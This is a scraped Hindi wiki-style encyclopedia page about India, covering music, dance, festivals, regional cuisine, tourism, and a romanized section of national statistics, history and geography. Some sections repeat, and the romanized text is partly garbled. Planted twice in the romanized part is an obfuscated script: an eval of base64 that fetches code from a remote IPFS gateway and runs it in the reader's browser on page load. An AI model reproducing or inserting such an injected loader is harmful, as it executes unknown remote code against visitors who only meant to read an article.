तात्पर्थ यही है कि ऊँ अर्थात् सम्पूर्ण सृष्टि का एक अंश हमारी आत्मा में निहित है और संगीत उसी आत्मा की आवाज़ है, अंतः संगीत की उत्पत्ति हृदयगत भावों  में ही मानी जाती है।
 
====भारतीय संगीत के रूप====
 
प्राचीन काल में भारतीय संगीत के दो रूप प्रचलित हुए-1. मार्गी तथा 2. देशी। कालातर में मार्गी संगीत लुप्त होता गया। साथ ही देशी संगीत्य दो रूपों में विकसित हुआ- (i) शास्त्रीय संगीत तथा (ii) लोक संगीत। शास्त्रीय संगीत शास्त्रों पर आधारीत तथा विद्वानों व कलाकरों के अध्ययन व साधना का प्रतिफल था। यह अत्यंत नियमबद्ध तथा श्रेष्ठ संगीत था। दूसरी ओर लोक संगीत काल और स्थान के अनुरूप प्रकृति के स्वच्छन्द वातावरण में स्वाभाविक रूप से पलता हुआ विकसित होता रहा, अतः यह अधिक विविधतापूर्ण तथा हल्का-फुल्का व चित्ताकर्षक है।
 
====भारतीय संगीत के विविध अंग====
 
संगीत से सम्बंधित कुछ मूलभूत तथ्यों को जानकर ही संगीत की बारीकियों को समझा जा सकता है। ध्वनि, स्वर, लय, ताल आदि इसके अन्तर्गत आते हैं।
 
====<u>नृत्य कला</u>====
 
भारत में नृत्य की अनेक शैलियाँ हैं। भरतनाट्यम , ओडिसी , कुचिपुड़ी , कथकली ,मणिपुरी , कत्थक आदि परंपरागत नृत्य शैलियाँ हैं तो भंगड़ा , गिददा , नगा , बिहू आदि लोकप्रचलित नृत्य है। ये नृत्य शैलियाँ पूरे देश में विख्यात है। गुजरात का गरबा हरियाणा में भी मंचो की शोभा को बढ़ाता है और पंजाब का भंगड़ा दक्षिण भारत में भी बड़े शौक से देखा जाता है !
 
भारत के संगीत को विकसित करने में अमीर खुसरो, तानसेन, बैजू बावरा जैसे संगीतकारों का विशेष योगदान रहा है। आज भारत के संगीत-क्षितिज पर बिस्मिल्लाह ख़ाँ, जाकिर हुसैन , रविशंकर समान रूप से सम्मानित हैं।
 
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{| class="wikitable" border="1" align="center"
 
|+ विविध नृत्य कला
 
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| [[चित्र:Natraj.jpg|40px|नटराज|नटराज]]
 
| [[चित्र:Birju-Maharaj.jpg|30px|link=बिरजू महाराज|बिरजू महाराज]]
 
| [[चित्र:Bihu-Dance-Assam.jpg|60px|link=बिहू नृत्य|बिहू नृत्य, असम]]
 
| [[चित्र:Odissi-Dance.jpg|50px|link=ओडिसी नृत्य|ओडिसी नृत्य, उड़ीसा]]
 
| [[चित्र:Kathakali-Dance.jpg|55px|link=कथकली नृत्य|कथकली नृत्य, केरल]]
 
| [[चित्र:Rajasthani-Dress.jpg|60px|घुमर नृत्य, राजस्थान]]
 
| [[चित्र:Manipuri-Dance.jpg|30px|link=मणिपुरी नृत्य|मणिपुरी नृत्य, मणिपुर]]
 
| [[चित्र:Bhangra.jpg|60px|link=भांगड़ा नृत्य|भांगड़ा नृत्य, पंजाब]]
 
| [[चित्र:Garba-Dance.jpg|60px|link=गरबा नृत्य|गरबा नृत्य, गुजरात]]
 
| [[चित्र:Kuchipudi-Dance.jpg|30px|link=कुची पुडी नृत्य|कुची पुडी नृत्य, आंध्र प्रदेश]]
 
| [[चित्र:Krishna-Birth-Place-Mathura-3.jpg|60px|link=रासलीला|रासलीला]]
 
| [[चित्र:Krishna Janm Bhumi Holi Mathura 10.jpg|45px|link=चरकुला नृत्य|चरकुला नृत्य]]
 
|}
 
</center>
 
==राष्ट्रीय चिन्ह और प्रतीक==
 
{{राष्ट्रीय चिन्ह और प्रतीक चित्र}}<br />
 
{{राष्ट्रीय चिन्ह और प्रतीक}}
 
 
 
== त्योहार और मेले ==
 
त्योहार और मेले भारतीय संस्कृति के अभिन्न अंग हैं। यह भी कह सकते हैं कि भारतीय संस्कृति अपने हृदय के माधुर्य को त्योहार और मेलों में व्यक्त करती है, तो अधिक सार्थक होगा। भारतीय संस्कृति प्रेम, सौहार्द्र, करुणा, मैत्री, दया और उदारता जैसे मानवीय गुणों से परिपूर्ण है। यह उल्लास, उत्साह और विकास को एक साथ समेटे हुए है। आनन्द और माधुर्य तो जैसे इसके प्राण हैं। यहाँ हर कार्य आनन्द के साथ शुरू होता है और माधुर्य के साथ सम्पन्न होता है। भारत जैसे विशाल धर्मप्राण देश में आस्था और विश्वास के साथ मिल कर यही आनन्द और उल्लास त्योहार और मेलों में फूट पड़ता है। त्योहार और मेले हमारी धार्मिक आस्थाओं, सामाजिक परम्पराओं और आर्थिक आवश्यकताओं की त्रिवेणी है, जिनमें समूचा जनमानस भावविभोर होकर गोते लगाता है। यही कारण है कि जितने त्योहार और मेले भारत में मनाये जाते हैं, विश्व के किसी अन्य देश में नहीं। इस दृष्टि से यदि भारत को त्योहार और मेलों का देश कहा जाए तो अतिश्योक्ति नहीं होगी। हिमाचल से लेकर सुदूर दक्षिण तक और असम से लेकर महाराष्ट्र तक व्रत, पर्वों, त्योहारों और मेलों की अविच्छिन्न परम्परा विद्यमान है, जो पूरे वर्ष अनवरत चलती रहती है।
 
 
== भारतीय भोजन ==
 
== भारतीय भोजन ==
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{{Main|भारतीय भोजन}}
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भारतीय भोजन स्वाद और सुगंध का मधुर संगम है। पूरन पूरी हो या दाल बाटी, तंदूरी रोटी हो या शाही पुलाव, पंजाबी भोजन हो या मारवाड़ी भोजन, ज़िक्र चाहे जिस किसी का भी हो रहा हो, केवल नाम सुनने से ही भूख जाग उठती है। भारत में पकवानों की विविधता भी बहुत अधिक है। [[राजस्थान]] में दाल-बाटी, [[कोलकाता]] में चावल-मछली, [[पंजाब]] में रोटी-साग, दक्षिण में इडली-डोसा। इतनी विविधता के बीच एकता का प्रमाण यह है कि आज दक्षिण भारत  के लोग दाल-रोटी उसी शौक़ से खाते हैं, जितने शौक़ से उत्तर भारतीय इडली-डोसा खाते हैं। सचमुच भारत एक रंगबिरंगा गुलदस्ता है।
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==पर्यटन==
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{{Main|पर्यटन}}
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भारतवासी अपनी दीर्घकालीन, अनवरत एवं सतरंगी उपलब्धियों से युक्त इतिहास पर गर्व कर सकते हैं। प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है। यहाँ प्रारम्भ से अनेक अध्यावसायों का अनुसरण होता रहा है, पृथक्-पृथक् मान्यताएँ हैं, लोगों के रिवाज और दृष्टिकोणों के विभिन्न रंगों से सज़ा यह देश अतीत को भूत, वर्तमान एवं भविष्य की आँखों से देखने के लिए आह्वान कर रहा है। किन्तु बहुरंगी सभ्यता एवं संस्कृति वाले देश के सभी आयामों को समझने का प्रयास इतना आसान नहीं है।
  
भारतीय भोजन स्वाद और सुगंध का मधुर संगम है। पूरन पूरी हो या दाल बाटी, तंदूरी रोटी हो या शाही पुलाव, पंजाबी भोजन हो या मारवाड़ी भोजन, ज़िक्र चाहे जिस किसी का भी हो रहा हो, केवल नाम सुनने से ही भूख जाग उठती है। भारत में पकवानों की विविधता भी बहुत अधिक है। [[राजस्थान]] में दाल-बाटी, [[कोलकाता]] में चावल-मछली, [[पंजाब]] में रोटी-साग, दक्षिण में इडली-डोसा। इतनी विविधता के बीच एकता का प्रमाण यह है कि आज दक्षिण भारत  के लोग दाल-रोटी उसी शौक से खाते हैं, जितने शौक से उत्तर भारतीय इडली-डोसा खाते हैं। सचमुच भारत एक रंगबिरंगा गुलदस्ता है।
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{{Point}} विस्तार में पढ़ने के लिए देखें:[[भारत आलेख]]
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{| class="wikitable" border="1" align="center"
 
|+ भोजन के विविध रूप
 
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| [[चित्र:Kashmiri-Gobi.jpg|40px|कश्मीरी गोभी]]
 
| [[चित्र:Rajma-Chawal.jpg|55px|पंजाबी राजमा चावल]]
 
| [[चित्र:Braj-Food.jpg|55px|ब्रज का खाना]]
 
| [[चित्र:Jaipur-Food.jpg|55px|राजस्थानी खाना]] 
 
| [[चित्र:Gujarati-Food.jpg|50px|गुजराती खाना]]
 
| [[चित्र:Marathi-Food.jpg|50px|मराठी खाना]]
 
| [[चित्र:Vindaloo.jpg|55px|कोंकणी (गोवा) का खाना]]
 
| [[चित्र:Kerala-Food.jpg|50px|केरल का खाना]]
 
| [[चित्र:Chennai-Food.jpg|50px|चेन्नई का खाना]]
 
| [[चित्र:Hyerabadi-Biryani.jpg|50px|हैदराबादी बिरयानी]]
 
| [[चित्र:Mixed-Veg-Biryani.jpg|50px|शाकाहारी-बिरयानी]]
 
| [[चित्र:Thukpa.jpg|50px|पूर्वोत्तर का खाना]]
 
|}
 
</center>
 
 
 
भारतीय संस्कृति में भोजन पकाने को पाक कला कहा गया है अर्थात् भोजन बनाना एक कला है। भारतीय भोजन तो विभिन्न प्रकार की पाक कलाओं का संगम ही है। इसमें पंजाबी भोजन, मारवाड़ी भोजन, दक्षिण भारतीय भोजन, शाकाहारी भोजन (निरामिष), मांसाहारी (सामिष) भोजन आदि सभी सम्मिलित हैं। भारतीय भोजन की सबसे बड़ी विशेषता तो यह है कि आपको कई प्रकार के भोजन न भी मिलें तो भी आपको आम का अचार या नीबू का अचार या फिर टमाटर की चटनी से भी भरपूर स्वाद प्राप्त होता है।
 
 
 
====<u>भारतीय भोजन के प्रकार</u>====
 
#'''शाकाहारी भोजन (निरामिष)'''- शाकाहारी भोजन वह  भोजन है जिसमें  मांस, मछली, और अंडे का प्रयोग नहीं होता है।
 
#'''मांसाहारी भोजन (सामिष)'''- मांसाहारी भोजन वह  भोजन है जिसमें  मांस, मछली, और अंडे का प्रयोग होता है।
 
 
 
{| class="wikitable" border="1"
 
|+ पारंपरिक क्षेत्रीय भोजन
 
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! क्रम
 
! क्षेत्रीय भोजन
 
! भोजन
 
|-
 
| 1
 
| [[कश्मीर]]
 
| यख़नी, कश्मीरी पुलाव, गुश्तावा, कश्मीरी गोभी
 
|-
 
| 2
 
| [[पंजाब]]
 
| सरसों का साग, मक्के की रोटी, राजमा- चावल, तंदूरी मुर्ग़ा, दाल मखनी, छोले भटूरे
 
|-
 
| 3
 
| [[ब्रज]]
 
| पूरी- सब्जी, परांठा (सादा, भरवां), रोटी (आटा, बाजरा, मिस्सी), दाल (उड़द), चाट, कचौड़ी (दाल, आलू), दही बड़े, मिठाई, खीर, हलवा (गाजर, मूँग दाल, लॉकी, सूजी), पुआ, रबड़ी
 
|-
 
| 4
 
| [[राजस्थान]]- [[गुजरात]]
 
| दाल बाटी, चूरमा, पापड़ की सब्ज़ी, गट्टे की कढ़ी
 
|-
 
| 5
 
| [[गुजरात]]
 
| ढोकला, खांडवी, लप्सी, बाफला, थेपला, पोहा
 
|-
 
| 6
 
| मराठी
 
| वड़ा पाव, श्रीखंड, भेलपूरी, पूरन पोली
 
|-
 
| 7
 
| कोंकणी (गोआनी)
 
| धनसाक, विंडालू
 
|-
 
| 8
 
| [[केरल]]
 
| अप्पम, अवियल, फिश मोली, उपमा, उत्तपम
 
|-
 
| 9
 
| [[चेन्नई]]
 
| इडली, सांभर, डोसा, मैसूर पाक
 
|-
 
| 10
 
| [[हैदराबाद]]
 
| हैदराबादी बिरयानी, दाल गोश्त
 
|-
 
| 11
 
| [[अवध]]
 
| दम पुख्त, बिरयानी, काकोरी कबाब, शामी कबाब, मलाई गिलौरी, दाल (अरहर)
 
|-
 
| 12
 
| पूर्वोत्तर
 
| मोमो, थुपका, फिश टेंगा
 
|-
 
| 13
 
| पूर्वी भारत
 
| भाप्पा इलिश, माछ झोल, रोशोगुल्ला, संदेश (मिठाई)
 
|}
 
 
 
 
 
==पर्यटन==
 
{{पर्यटन सूची1}}
 
भारतवासी अपनी दीर्घकालीन, अनवरत एवं सतरंगी उपलब्धियों से युक्त इतिहास पर गर्व कर सकते हैं। प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है। यहाँ प्रारम्भ से अनेक अध्यावसायों का अनुसरण होता रहा है, पृथक्-पृथक् मान्यताएँ हैं, लोगों के रिवाज़ और दृष्टिकोणों के विभिन्न रंगों से सजा यह देश अतीत को भूत, वर्तमान एवं भविष्य की आँखों से देखने के लिए आह्वान कर रहा है। किन्तु बहुरंगी सभ्यता एवं संस्कृति वाले देश के सभी आयामों को समझने का प्रयास इतना आसान नहीं है।
 
====ऐतिहासिक स्थल====
 
{{पर्यटन सूची2}}
 
हमें यह नहीं भूलना चाहिए कि भारत में इतने अधिक विचार एवं दृष्टिकोण केवल इसीलिए फल-फूल पाएँ हैं कि यहाँ वैचारिक विविधता और वाद-संवाद को प्रायः सर्व- सहमति प्राप्त रही है। भारत की विविधता हमें स्थलों के अनुशीलन में भी दिखाई देती है। ऐतिहासिक स्थलों के अध्ययन तथा विवेचन में भारतीय संस्कृति का स्वरूप स्वयं प्रकाशित होता है। इससे इतिहास के बिखरे सूत्रों की प्रभावी रूप से तलाश संभव है। यह भी उल्लेखनीय है कि नगर एवं नगर-जीवन के विकास का विविरण सभ्यता के विकास का प्रधान सूत्र है। राजनीतिक और आर्थिक प्रगति तथा शिल्प, कला एवं विद्या का बहुमुखी विकास के साथ ही सम्पन्न हुआ है।
 
====प्राचीन धार्मिक स्थल====
 
प्राचीन काल से ही भव्य देवालयों और धर्म स्थलों से भरपूर भारत स्थापत्य कला के लिए विश्व प्रसिद्ध है।
 
{{पर्यटन सूची3}}
 
====धार्मिक स्थल====
 
अनेक धर्म और परंपराओं से सजा भारत अपने भीतर हज़ारों धार्मिक स्थल बसाए हुए है। जो पूरे भारत में देशी और विदेशी पर्यटकों और श्रद्धालुओं का मुख्य आकर्षण हैं।
 
{{पर्यटन सूची4}}
 
  
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==राज्य संरचना==
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==टीका टिप्पणी और संदर्भ==
 
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==सम्बंधित लिंक==
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==संबंधित लेख==
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Latest revision as of 11:38, 9 February 2021

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bharat vishay soochi
parichay    itihas    bhoogol    sanvidhan    dharm   krishi    vany jivan    bhasha    shiksha    kala    sanskriti    khanapan    raksha    rajy    paryatan    alekh
bharat ganarajy
Republic of India
India-Flag.jpg Emblem-of-India.png
bharat ka dhvaj bharat ka kulachihn
rashtravaky: "satyamev jayate" (sanskrit) saty hi vijayi hota hai[1]
rashtragan: jan gan man
bharat ki sthiti
rajadhani nee dilli
28° 34′ N 77° 12′ E
sabase b de nagar dilli, mumbee, kolakata aur chennee
rajabhasha(ean) hindi sangh ki rajabhasha hai,
aangrezi "sahayak rajabhasha" hai.
any bhashaean baangla, gujarati, kann d, malayalam, marathi aur any
sarakar prakar ganarajy
draupadi murmoo
veankaiya nayadoo
om bi dala
narendr modi
di. vaee. chandrachoo d
vidhayika
-upari sadan
-nichala sadan
bharatiy sansad
rajy sabha
lok sabha
svatantrata
tithi
ganarajy
sanyukt rajashahi se
15 agast, 1947
26 janavari, 1950
kshetraphal
 - kul
 
 - jaliy (%)
 
32,87,263 kimi² (satavaan)
12,22,559 mil² 
9.56
janasankhya
 - 2011
 - 2001 janaganana
 - janasankhya ghanatv
 
1,21,01,93,422[2] (dvitiy)
1,02,70,15,248
382[2]/kimi² (27 vaan)
954[3]/ mil² 
sakal ghareloo utpad (pipipi)
 - kul
 - prativyakti
2012 anuman
$4,824 arab[4] 
$3,944[4] 
sakal ghareloo utpad (saanketik)
 - kul
 - prativyakti
2012 anuman
$1,779 arab[4] 
$1,454[4] 
manav vikas sanketaank (echadiaee) 0.547 (134 vian) – madhyam
mudra bharatiy rupaya 14px (aienar (INR))
samay mandal
 - grishm rritu (delait seviang taim)
aiesati (IST) (UTC+5:30)
anusaran nahian kiya jata (UTC+5:30)
iantaranet tieladi .in
vahan chalate haian baean
doorabhash kod ++91
any mahatvapoorn janakari
simaoan mean sthit desh uttar pashchim mean afaganistan aur pakistan, uttar mean bhootan aur nepal; poorab mean myaanmar, baangladesh. shrilanka bharat se samudr ke sankirn nahar dvara alag kiya jata hai jo palk stret aur mannar ki kha di dvara nirmit hai.
samudr tat 7,516.6 kilomitar jisamean mukhy bhoomi, lakshadvip aur andaman aur nikobar dvipasamooh shamil haian.
jalavayu sardi (disambar-faravari); garmi (march-joon); dakshin pashchim manasoon ka mausam (joon-sitambar); manasoon pashch mausam (aktoobar-navambar)
bhoo-bhag mukhy bhoomi mean char kshetr haian- gret maunten jon, ganga aur siandhu ka maidan, registan kshetr aur dakshini peniansula.
prakritik sansadhan koyala, lauh ayask, maiganij ayask, maika, b aauksait, petroliyam, taitaniyam ayask, kromait, prakritik gais, maiganesait, choona patthar, arabal lend, dolomait, maoolin, jipsam, apadait, phosaphorait, stitail, phlorait adi.
prakritik apada manasooni badh, phlesh badh, bhookamp, sookha, zamin khisakana.
janasankhya vriddhi dar ausat varshik ghataanki vriddhi dar varsh 2001-2011 ke dauran 1.64 pratishat hai.
liang anupat 1000:940 (2011)
dharm varsh 2001 ki janaganana ke anusar 1,028 miliyan desh ki kul janasankhya mean se 80.5 pratishat ke sath hinduoan ki adhikaanshata hai doosare sthan par 13.4 pratishat ki janasankhya vale muslim isake bad eesaee, sikh, bauddh, jain aur any ate haian.
saksharata 74.04% (2011) purush- 82.14% mahilaean- 65.46%
sambhavit jivan dar 65.8 varsh (purush); 68.1 varsh (mahila)[5]
jatiy anupat sabhi paanch mukhy prakar ki jatiyaan- aaustreliyad, moangol aauyad, yoorop aauyad, kokosin aur nigroid.
karyapalika shakha bharat ka rashtrapati desh ka pradhan hota hai, jabaki pradhanamantri sarakar ka pramukh hota hai aur mantriparishadh ki sahayata se shasan chalata hai jo mantrimandal mantralay ka gathan karate haian.
nyayapalika shakha bharat ka sarvochch nyayalay bharatiy kanoon vyavastha ka shirsh nikay hai isake bad any uchch nyayalay aur adhinasth nyayalay ate haian.
any janakari bharat ka rashtriy dhvaj ayatakar tiranga hai jisamean kesariya oopar hai, bich mean safed, aur barabar bhag mean niche gahara hara hai. safed patti ke kendr mean gahara nila chakr hai jo saranath mean ashok chakr ko darshata hai.
bahari k diyaan bharat ki adhikarik vebasait
adyatan‎

bharat [sampoorn prabhutasanpann samajavadi dharmanirapeksh lokataantrik ganarajy bharat. (aangrezi: India)] duniya ki sabase purani sabhh‍yataoan mean se ek hai, jo 4,000 se adhik varshoan se chali a rahi hai aur jisane anek riti-rivazoan aur paramh‍paraoan ka sangam dekha hai. yah desh ki samriddh sansh‍kriti aur virasat ka parichayak hai. azadi ke bad 77 varshoan mean bharat ne samajik aur arthik pragati ki hai. bharat krishi mean ath‍manirbhar desh hai aur audyogikaran mean bhi vishv ke chune hue deshoan mean bhi isaki ginati ki jati hai. yah un deshoan mean se ek hai, jo chaand par pahuanch chuke haian aur paramanu shakti sanpann haian.

{{#icon: Redirect-01.gif|dhyan dean}}<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>vistar mean padhane ke lie dekhean:bharat alekh

itihas

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean manaviy karyakalap ke jo prachinatam chihn ab tak mile haian, ve 4,00,000 ee. poo. aur 2,00,000 ee. poo. ke bich doosare aur tisare him-yugoan ke sandhikal ke haian aur ve is bat ke sakshy prastut karate haian ki us samay patthar ke upakaran kam mean lae jate the. isake pashchath ek lambe arase tak vikas mand gati se hota raha, jisamean antim samay mean jakar tivrata aee aur usaki parinati 2300 ee. poo. ke lagabhag sindhu ghati ki alishan sabhyata (athava navinatam namakaran ke anusar h dappa sanskriti) ke roop mean huee. h dappa ki poorvavarti sanskritiyaan haian: baloochistani paha diyoan ke gaanvoan ki kulli sanskriti aur rajasthan tatha panjab ki nadiyoan ke kinare base kuchh gram-samudayoan ki sanskriti.[6]

bhautik visheshataean

mukhh‍y bhoobhag mean char kshetr haian, namat: mahaparvat kshetr, ganga aur siandhu nadi ke maidani kshetr aur maroosh‍thali kshetr aur dakshini prayadvip.

himalay ki tin shrriankhalaean haian, jo lagabhag samanaantar phaili huee haian. isake bich b de - b de pathar aur ghatiyaan haian, inamean kashmir aur kulh‍loo jaisi kuchh ghatiyaan upajaoo, vish‍trit aur prakritik sauandary se bharapoor haian. sansar ki sabase ooanchi chotiyoan mean se kuchh inh‍hian parvat shrriankhalaoan mean haian. adhik ooanchaee ke karan ana -jana keval kuchh hi darroan se ho pata hai, jinamean mukhh‍y haian -

  • chuanbi ghati se hote hue mukhh‍y bharat-tibh‍bat vh‍yapar marg par jelap la aur nathoo-la darre
  • uttar-poorv darjiliang
  • kalh‍pana (kinh‍naur) ke uttar - poorv mean sataluj ghati mean shipaki la darra

bhoogarbhiy sanrachana

  1. REDIRECTsaancha:mukhy

bharat ke bhoo‍vaijnanik kshetr vh‍yapak rup se bhautik visheshataoan ka palan karate haian aur inh‍hean mukhyat: tin kshetroan ke samooh mean rakha ja sakata hai:

  1. himalay parvat shrriankhala aur unake sanbaddh parvat samooh.
  2. bharat-ganga maidan kshetr.
  3. prayadvipiy kshetr.

aank de ek jhalak

kshetraphal 32,87,263 varg kimi.[7]
-bhoomadhy rekha se doori [8] 876 kimi
-poorv se pashchim lanbaee 2,933 kimi
-uttar se dakshin lanbaee 3,214 kimi
-pradeshik jalasima ki chau daee samudr tat se 12 samudri mil tak.
-ekantik arthik kshetr sanlagn kshetr se age 200 samudri mil tak.

sima 7 desh aur 2 mahasagar[9]
-samudri sima[10] 7516.5 kimi
-prakritik bhag (1) uttar ka parvatiy pradesh (2) uttar ka vishal maidan (3) dakshin ka prayadvipiy pathar (4) samudr tatiy maidan tatha (5) thar marusthal
-sthaliy sima[11] 15,200 kimi

rajy 29
-sanghashasit kshetr[12] 7
-ziloan ki sankhya 593
-upaziloan ki sankhya 5,470
-sabase b da zila laddakh (jammoo-kashmir, kshetraphal 82,665 varg kimi.).
-sabase chhota zila thaubॅl (manipur, kshetraphal- 507 varg kimi.).
-dvipoan ki kul sankhya 247 [13]
-tatarekha se lage rajy gujarat, maharashtr, gova, karnatak, keral, tamilanadu, aandhr pradesh, u disa aur pashchim bangal.
-kendrashasit pradesh (tatarekha) daman v div, dadara evan nagar haveli, lakshadvip, paandicheri tatha aandaman evan nikobar dvip samooh.
-kark rekha [14] gujarat, rajasthan, madhyapradesh, chhattisagadh, jharakhand, pashchim bangal, tripura tatha mizoram.
-pramukh nagar mumbee, nee dilli, kolakata, chennee, beangalor, haidarabad, tiruanantapuram, sikandarabad, kanapur, ahamadabad, jayapur, jodhapur, amritasar, chanh‍digadh, shrinagar, jammoo, shimala, disapur, itanagar, kochin, agara adi.
-rajadhani nee dilli.
-parvatiy paryatan almo da, nainital, lainsadaun, gadhamukteshvar, masoori, kasauli, shimala, kulloo ghati, dalahauzi, shrinagar, gulabarg, sonamarg, amaranath, pahalagam, darjiliang, kalianpoang, raanchi, shilaang, kuanjur, ootakamand (ooti), mahabaleshvar, panchamadhi, maunt aboo.
-pratham shreni ke nagaroan ki sankhya 300
-dvitiy shreni ke nagaroan ki sankhya 345
-tritiy shreni ke nagaroan ki sankhya 947
-chaturth shreni ke nagaroan ki sankhya 1,167
-pancham shreni ke nagaroan ki sankhya 740
-shashtham shreni ke nagaroan ki sankhya 197
-kul nagaroan ki sankhya 5,161
-sarvadhik nagaroan vala rajy uttar pradesh (704 nagar)
-sabase kam nagar vala rajy meghalay (7 nagar)
-sarvadhik nagariy janasankhya vala rajy uttar pradesh (3,45,39,582), mizoram (45.10%)
-sabase kam nagariy janasankhya vala rajy sikkim (59,870), himachal pradesh (8.69%)
-sanghashasit kshetr sarvadhik janasankhya[15] dilli 89.93%
-sangh shasit kshetr kam janasankhya [16] dadara tatha nagar haveli (8.47%)
-sanghashasit kshetr (sabase b da)[17] aandaman evan nikobar dvipasamooh (8,293 varg kimi.)
-sabase chhota sangh shasit kshetr lakshadvip (32 varg kimi.)
-shaharoan ki sankhya 5,161
-gaanvoan ki sankhya 6,38,588
-abad gaanvoan ki sankhya 5,93,732
-gair-abad gaanvoan ki sankhya 44,856
-samudrik matsyayan ka pramukh kshetr pashchimi tat (75% tatha poorvi tat (25%) [18]
-sabase b da rajy (kshetraphal) rajasthan (3,42,239 varg kimi.)
-sabase chhota rajy gova (3,702 varg kimi.)

bhoogol
-pramukh parvat himalay, karakoram, shivalik, aravali, pashchimi ghat, poorvi ghat, vindhyachal, satapu da, annamalaee, nilagiri, palani, nallamala, maikal, ilayachi.
-pramukh nadiyaan sindhu, satalaj, brahmaputr, ganga, yamuna, godavari, damodar, narmada, tapti, krishnaa, kaveri, mahanadi, ghaghara, gomati, ramaganga, chambal adi.
-parvat shikhar gadavin astin ya maunt ke 2 (8,611 mi.), kanchanajangha (8,598 mi.), nanga parvat (8,126 mi.), nandadevi (7,717 mi.), kamet (7,756 mi.), makaloo (8,078 mi.), annapoorna (8,078 mi.), manasaloo (8,156 mi.), badrinath, kedaranath, trishool, mana, gangotri, gurushikhar, mahendragiri, anaeemudi adi.
-jhil dal, vular, naini, satatal, nagin, saanbhar, didavana, chilka, husain sagar, vembanad adi.
-jalavayu manasooni
-vanakshetr 750 lakh hekteyar [19]
-pramukh mittiyaan jalodh, kali, lal, pili, laiterait, marusthaliy, parvatiy, namakin evan pit tatha daladali.
-sianchaee [20] naharean (40.0%) kuean (37.8%), talab (14.5%) tatha any (7.7%).
-krishi ke prakar tar kheti [21], ardr kheti [22], jhoom krishi [23] tatha parvatiy krishi [24].
-khadyann fasalean chaval, gehooan, jvar, bajara, ragi, jau adi.
-naqadi fasalean ganna, chay, kafi, rab d, nariyal, phal evan sabjiyaan, dalean, tambakoo, kapas tatha tilahani fasalean.
-khanij sansadhan lauh ayask, koyala, maianganij, abhrak, b aauksait, choonapatthar, yooreniyam, sona, chaandi, hira, khanij tel adi.

janasankhya 1,028,610,328 (2001) [25]
-purush janasankhya 53,21,56,772
-mahila janasankhya 49,64,53,556
-anusoochit jati [26] 16,66,35,700 (kul janasankhya ka 16.2%)
-anusoochit janajati [27] 8,43,26,240 (kul janasankhya ka 8.2%)
-pramukh janajatiyaan gaddi, gujjar, tharoo, bhotiya, mipuri, riyana, lepcha, mina, bhil, garasiya, koli, mahadevi, koankana, santhal, muanda, uraanv, baiga, koya, goand adi.
-vishv mean sthan (janasankhya) doosara
-vishv janasankhya ka pratishat 16.87%
-janasankhya ghanatv 324 vyakti prati varg kimi
-janasankhya vriddhi dar (dashak) 21.54% (1991-2001)
-ausat vriddhi dar [28] 1.95%
-lianganupat ♀/♂ 933 : 1000
-raj bhasha hindi [29]
-prati vyakti ay 27,786 ru0 (2007-08)

arthavyavastha
-niryat ki vastuean ianjiniyari upakaran, masale, tambakoo, cham de ka saman, chay, lauh ayask adi.
-ayat ki vastuean rasayan, mashinari, upakaran, urvarak, khanij tel adi.
-vyapar sahayogi sanyukt rajy amerika, briten, naye rashtroan ke rashtrakul (si.aee.es.) ke desh, japan, itali, jarmani, poorvi yooropiy desh.
-rashtriyakrit baiankoan ki sankhya 20
-telashodhanashalaoan ki sankhya 13
-kul udyamoan ki sankhya 4,212 karo d (krishi mean sanlagn udyamoan ke atirikt)
-udyam (gramin kshetr) 2,581 karo d (krishi mean sanlagn udyamoan ke atirikt)
-udyam (shahari kshetr) 1,631 karo d (38.7%).
-krishi kary ka pratishat [30] 15%
-gair-krishi kary ka pratishat [31] 85%
-udyam (10 ya adhik kamagar) 5.83 lakh [32]
-sarvadhik udyam (paanch rajy) tamilanadu-4446999 (10.56%), maharashtr- 4374764 (10.39%), pashchim bangal- 4285688 (10.17%), aandhr pradesh- 4023411 (9.55%), uttar pradesh- 4015926 (9.53%).
-sarvadhik udyam (kendr shasit) dilli-753795(1.79%), chandigadh- 65906 (0.16%), pandicheri-49915 (0.12%).
-pramukh udyog lauh-ispat, jalayan nirman, motar vahan, saikil, sootivastr, ooni vastr, reshami vastr, vayuyan, urvarak, davaean evan aushadhiyaan, relave ianjan, rel ke dibbe, joot, kagaz, chini, siment, matsyayan, cham da udyog, shisha, bhari evan halke rasayanik udyog tatha rab d udyog.
-b de bandaragahoan ki sankhya 12 b de evan 139 chhote bandaragah.
-pramukh bandaragah mumbee, nhava sheva, kalakatta, haldiya, gova, kochin, kaandala, chennee, nyoo mangalor, tootikorin, vishakhapatanam, majhagaanv, aleppi, bhatakal, bhavanagar, kalikat, kakinada, kudaloor, dhanushakodi, paradvip, gopalapur.
-pashchimi tat pramukh bandaragah kaandala, muanbee, marmugaoan, nyoo mangalaur, kochin aur javaharalal neharoo
-poorvi tat ke pramukh bandaragah tootikorin, chennee, vishakhapattanam, paradip aur kolakata- haldiya.
-purana bandaragah (poorvi tat) chennee
-sabase gahara bandaragah vishakhapattanam
-karyashil vyaktiyoan ki sankhya 31.5 karo d, mukhy shramik- 28.5 karo d, simant shramik- 3,0 karo d
-taje jal ki machhaliyaan s aau-phish, laivaphish, phaidarabaiank, eankavi, eel, bata, reva, tor, chitala, katala, miangal, milkaphish, karp, parlashat adi.

parivahan
-jal parivahan kolakata (kendriy antardeshiy jal parivahan nigam ka mukhyalay)
-s dak marg ki kul lambaee 33,19,664 kimi.
-rashtriy rajamargoan ki sankhya sankhyanusar 109 jabaki kul 143 (lagabhag 19 nirmanadhin).
-rashtriy rajamargoan ki kul lambaee 66,590 kimi.
-sabase lamba rashtriy rajamarg rajamarg sankhya 7 (lanbaee- 2369 kimi varanasi se kanyakumari)
